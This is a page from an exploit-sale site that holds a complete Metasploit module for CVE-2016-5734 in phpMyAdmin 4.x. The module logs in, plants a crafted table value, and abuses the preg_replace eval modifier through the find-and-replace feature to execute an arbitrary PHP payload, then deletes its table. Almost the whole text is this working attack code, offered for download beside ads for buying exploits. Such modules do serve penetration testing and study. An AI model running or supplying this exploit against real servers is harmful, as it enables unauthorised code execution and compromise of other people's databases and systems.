0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
phpMyAdmin 4.x Remote Code Execution Exploit
Author
Risk
[
Security Risk Critical
]0day-ID
Category
Date add
CVE
Platform
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'phpMyAdmin Authenticated Remote Code Execution', 'Description' => %q{ phpMyAdmin 4.0.x before 4.0.10.16, 4.4.x before 4.4.15.7, and 4.6.x before 4.6.3 does not properly choose delimiters to prevent use of the preg_replace (aka eval) modifier, which might allow remote attackers to execute arbitrary PHP code via a crafted string, as demonstrated by the table search-and-replace implementation. }, 'Author' => [ 'Michal AihaA and Cure53', # Discovery 'Matteo Cantoni <goony[at]nothink.org>' # Metasploit Module ], 'License' => MSF_LICENSE, 'References' => [ [ 'BID', '91387' ], [ 'CVE', '2016-5734' ], [ 'CWE', '661' ], [ 'URL', 'https://www.phpmyadmin.net/security/PMASA-2016-27/' ], [ 'URL', 'https://security.gentoo.org/glsa/201701-32' ], [ 'URL', 'https://www.exploit-db.com/exploits/40185/' ], ], 'Privileged' => true, 'Platform' => [ 'php' ], 'Arch' => ARCH_PHP, 'Payload' => { 'BadChars' => "&\n=+%", }, 'Targets' => [ [ 'Automatic', {} ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jun 23 2016')) register_options( [ OptString.new('TARGETURI', [ true, "Base phpMyAdmin directory path", '/phpmyadmin/']), OptString.new('USERNAME', [ true, "Username to authenticate with", 'root']), OptString.new('PASSWORD', [ false, "Password to authenticate with", '']), OptString.new('DATABASE', [ true, "Existing database at a server", 'phpmyadmin']) ]) end def check begin res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, '/js/messages.php') }) rescue print_error("#{peer} - Unable to connect to server") return Exploit::CheckCode::Unknown end if res.nil? || res.code != 200 print_error("#{peer} - Unable to query /js/messages.php") return Exploit::CheckCode::Unknown end # PHP 4.3.0-5.4.6 # PHP > 5.4.6 not exploitable because null byte in regexp warning php_version = res['X-Powered-By'] if php_version vprint_status("#{peer} - PHP version: #{php_version}") if php_version =~ /PHP\/(\d+\.\d+\.\d+)/ version = Gem::Version.new($1) vprint_status("#{peer} - PHP version: #{version.to_s}") if version > Gem::Version.new('5.4.6') return Exploit::CheckCode::Safe end end else vprint_status("#{peer} - Unknown PHP version") end # 4.3.0 - 4.6.2 authorized user RCE exploit if res.body =~ /pmaversion = '(\d+\.\d+\.\d+)';/ version = Gem::Version.new($1) vprint_status("#{peer} - phpMyAdmin version: #{version.to_s}") if version >= Gem::Version.new('4.3.0') and version <= Gem::Version.new('4.6.2') return Exploit::CheckCode::Appears elsif version < Gem::Version.new('4.3.0') return Exploit::CheckCode::Detected end return Exploit::CheckCode::Safe end return Exploit::CheckCode::Unknown end def exploit return unless check == Exploit::CheckCode::Appears uri = target_uri.path vprint_status("#{peer} - Grabbing CSRF token...") response = send_request_cgi({ 'uri' => uri}) if response.nil? fail_with(Failure::NotFound, "#{peer} - Failed to retrieve webpage grabbing CSRF token") elsif (response.body !~ /"token"\s*value="([^"]*)"/) fail_with(Failure::NotFound, "#{peer} - Couldn't find token. Is URI set correctly?") end token = $1 vprint_status("#{peer} - Retrieved token #{token}") vprint_status("#{peer} - Authenticating...") login = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(uri, 'index.php'), 'vars_post' => { 'token' => token, 'pma_username' => datastore['USERNAME'], 'pma_password' => datastore['PASSWORD'] } }) if login.nil? fail_with(Failure::NotFound, "#{peer} - Failed to retrieve webpage") elsif login.redirect? token = login.redirection.to_s.scan(/token=(.*)[&|$]/).flatten.first else fail_with(Failure::NotFound, "#{peer} - Couldn't find token. Wrong phpMyAdmin version?") end cookies = login.get_cookies login_check = send_request_cgi({ 'uri' => normalize_uri(uri, 'index.php'), 'vars_get' => { 'token' => token }, 'cookie' => cookies }) if login_check.nil? fail_with(Failure::NotFound, "#{peer} - Failed to retrieve webpage") elsif login_check.body =~ /Welcome to/ fail_with(Failure::NoAccess, "#{peer} - Authentication failed") end vprint_status("#{peer} - Authentication successful") # Create random table and column rand_table = Rex::Text.rand_text_alpha_lower(3+rand(3)) rand_column = Rex::Text.rand_text_alpha_lower(3+rand(3)) sql_value = '0%2Fe%00' vprint_status("#{peer} - Create random table '#{rand_table}' into '#{datastore['DATABASE']}' database..."); create_rand_table = send_request_cgi({ 'uri' => normalize_uri(uri, 'import.php'), 'method' => 'POST', 'cookie' => cookies, 'encode_params' => false, 'vars_post' => { 'show_query' => '0', 'ajax_request' => 'true', 'db' => datastore['DATABASE'], 'pos' => '0', 'is_js_confirmed' => '0', 'fk_checks' => '0', 'sql_delimiter' => ';', 'token' => token, 'SQL' => 'Go', 'ajax_page_request' => 'true', 'sql_query' => "CREATE+TABLE+`#{rand_table}`+( ++++++`#{rand_column}`+varchar(10)+CHARACTER+SET"\ "+utf8+NOT+NULL ++++)+ENGINE=InnoDB+DEFAULT+CHARSET=latin1; ++++INSERT+INTO+`#{rand_table}`+"\ "(`#{rand_column}`)+VALUES+('#{sql_value}'); ++++", } }) if create_rand_table.nil? || create_rand_table.body =~ /(.*)<code>\\n(.*)\\n<\\\/code>(.*)/i fail_with(Failure::Unknown, "#{peer} - Failed to create a random table") end vprint_status("#{peer} - Random table created") # Execute command command = Rex::Text.uri_encode(payload.encoded) exec_cmd = send_request_cgi({ 'uri' => normalize_uri(uri, 'tbl_find_replace.php'), 'method' => 'POST', 'cookie' => cookies, 'encode_params' => false, 'vars_post' =>{ 'columnIndex' => '0', 'token' => token, 'submit' => 'Go', 'ajax_request' => 'true', 'goto' => 'sql.php', 'table' => rand_table, 'replaceWith' => "eval%28%22#{command}%22%29%3B", 'db' => datastore['DATABASE'], 'find' => sql_value, 'useRegex' => 'on' } }) # Remove random table vprint_status("#{peer} - Remove the random table '#{rand_table}' from '#{datastore['DATABASE']}' database") rm_table = send_request_cgi({ 'uri' => normalize_uri(uri, 'import.php'), 'method' => 'POST', 'cookie' => cookies, 'encode_params' => false, 'vars_post' => { 'show_query' => '0', 'ajax_request' => 'true', 'db' => datastore['DATABASE'], 'pos' => '0', 'is_js_confirmed' => '0', 'fk_checks' => '0', 'sql_delimiter' => ';', 'token' => token, 'SQL' => 'Go', 'ajax_page_request' => 'true', 'sql_query' => "DROP+TABLE+`#{rand_table}`" } }) if rm_table.nil? || rm_table.body !~ /(.*)MySQL returned an empty result set \(i.e. zero rows\).(.*)/i print_bad("#{peer} - Failed to remove the table '#{rand_table}'") end end end # 0day.today [2024-12-24] #